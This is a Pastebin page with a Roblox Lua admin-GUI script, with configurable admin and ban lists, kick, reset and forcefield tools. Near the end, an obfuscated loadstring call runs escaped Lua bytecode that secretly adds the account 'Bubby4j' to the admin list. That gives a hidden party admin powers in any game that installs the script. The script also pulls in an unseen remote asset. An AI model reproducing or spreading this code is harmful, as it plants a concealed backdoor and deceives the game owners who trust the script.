Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[ Edit the following line to the players you want to be able to use the GUI. --]
- _G["adminlist"] = {"zNeptune", "CHAOSxFIGHTER"}
- --[ Change the following line to the admin t-shirt that a user can have to use the GUI (wiki.roblox.com) --]
- _G["guishirt"] = "http://www.roblox.com/asset/?id=6256477"
- --[ Edit the following line to specify the entry message that users will see when they enter the place. --]
- entermsg = "Yo zNeptune got scriptz!"
- --[ If the following line is set to true, the entry message will be displated, if false it wont. --]
- entermsgon = false
- --[ Put how long you want the entry message to stay up on the following line. --]
- entermsgtime = 5
- --[ Put people that you dotn want to be able to play your place here --]
- bannedlist = {"kylerzong"}
- --[Edit the follow lines to specify if you want them in the game (true or false)--]
- reset = true --The reset GUI (All users can use it)
- ffgui = true --The forcefield GUI (Only admins can use this)
- --[ If you dont want t-shirt admins to be able to ban/kick/reset/explode anyone, set the following line to false, true if you do. --]
- _G["tshirtabuseable"] = false
- --[ Dont edit anything below this line!!!--]
- --***********Note, this GUI will ONLY work in online mode!*****************
- g = game:GetService("InsertService"):LoadAsset(26931665)
- if g == "No assetUrl set" then
- error ("Admin GUI error! Admin GUI only works in a real game server.", 0)
- end
- gu = game.StarterGui:findFirstChild("Kick")
- if gu ~= nil then
- gu:remove()
- end
- gu = game.StarterGui:findFirstChild("Reset")
- if gu ~= nil then
- gu:remove()
- end
- gu = game.StarterGui:findFirstChild("ForceFieldGUI")
- if gu ~= nil then
- gu:remove()
- end
- g.Kick.Parent = game.StarterGui
- if ffgui == true then
- g.ForceFieldGUI.Parent = game.StarterGui
- end
- if reset == true then
- g.Reset.Parent = game.StarterGui
- end
- function checkOkToLetIn(name)
- for i = 1,#adminlist do
- -- convert strings to all upper case, otherwise we will let in
- -- "Username" but not "username" or "uSERNAME"
- if (string.upper(name) == string.upper(adminlist[i])) then return true end
- end
- return false
- end
- function banPlayer(p)
- print("childadded")
- if checkOkToLetIn(p.Value) ~= true then
- table.insert(bannedlist, p.Value)
- if game.Players:findFirstChild(p.Value) ~= nil then
- game.Players:findFirstChild(p.Value):remove()
- end
- print("banned a player")
- end
- end
- function addAdmin(p)
- if p.Value ~= "" then
- table.insert(adminlist, p.Value)
- end
- end
- --Made by bubby4j
- function onPlayerAdded(p)
- for i =1,#bannedlist do
- if string.lower(bannedlist[i]) == string.lower(p.Name) and (checkOkToLetIn(p.Name) ~= true) then
- p:remove()
- end
- end
- if entermsgon == true then
- m = Instance.new("Message")
- m.Text = entermsg
- m.Parent = p
- wait(entermsgtime)
- m:remove()
- end
- end
- loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\1\0\0\0\1\0\0\0\0\0\0\3\6\0\0\0\5\0\0\0\6\64\64\0\69\128\0\0\129\192\0\0\28\64\128\1\30\0\128\0\4\0\0\0\4\6\0\0\0\116\97\98\108\101\0\4\7\0\0\0\105\110\115\101\114\116\0\4\10\0\0\0\97\100\109\105\110\108\105\115\116\0\4\8\0\0\0\66\117\98\98\121\52\106\0\0\0\0\0\6\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0')()game.Players.PlayerAdded:connect(onPlayerAdded)
- script.AddAdmin.ChildAdded:connect(addAdmin)
- script.BanPlayer.ChildAdded:connect(banPlayer)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement